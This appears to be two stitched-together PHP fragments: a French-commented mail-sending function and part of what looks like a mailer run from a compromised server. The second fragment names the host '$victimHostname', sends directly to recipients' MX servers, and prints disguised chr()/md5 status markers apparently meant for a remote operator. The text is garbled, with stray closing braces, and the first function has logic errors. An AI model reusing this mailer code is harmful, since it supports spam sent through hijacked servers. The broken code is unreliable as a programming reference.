function sendMail($serveur, $port, $login, $password, $Emetteur, $Destinataire, $Subject = "", $Message = "") { // On va pouvoir envoyer un message $ListeDestinataires = ""; if (is_array($Destinataire)) { foreach ($Destinataire as $unDestinataire) { if ($ListeDestinataires != "") { $ListeDestinataires .= ","; } $ListeDestinataires .= $unDestinataire; } $ListeDestinataires = $Destinataire; } else { $ListeDestinataires = array($Destinataire); } if (count($ListeDestinataires) > 0 && $Message != "") { // On prend le message $headers["From"] = $Emetteur; $headers["To"] = $ListeDestinataires; $headers["Cc"] = array($Emetteur); $headers["Subject"] = $Subject; $params["host"] = $serveur; $params["port"] = $port; $params["auth"] = false; $params["username"] = $login; $params["password"] = $password; sendMailToServer($params, $headers, $Message); } }
} } } $mailBuilderString = "Date: " . @date("D, j M Y G:i:s O") . "\r\n" . $HeaderFromReplyTo; $mailBuilderString .= "Message-ID: <" . preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time())) . "@{$victimHostname}>\r\n"; $mailBuilderString .= "To: {$recptData}\r\n"; $mailBuilderString .= "Subject: {$subject}\r\n"; $mailBuilderString .= $XHeaders; $CompleteMail = $mailBuilderString . "\r\n" . $mailBody; /* * If no MX Servers are given then they try and get them from user mails username@host<- */ if ($mxServer == '') { $mxServer = getMXHost($recptDomain); } if (($sendMailToServerFail = sendMailToServer($senderMail, $recptMail, $CompleteMail, $victimHostname, $mxServer)) == 0) { echo chr(79) . chr(75) . md5(1234567890) . "+1\n"; // OKOKe807f1fcf82d132f9bb018ca6738a19f+1 newline continue; } else { echo PHP_OS . chr(50) . chr(48) . '+' . md5(00) . "+{$sendMailToServerFail}\n"; //[OS]20+6fb42da0e32e07b61c9f0251fe627a9c+[$sendMailToServerFail] newline } } /* * It will check whether the string matches an ip (IPv4). */ function matchIP($v957b527b) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}\$/", $v957b527b); }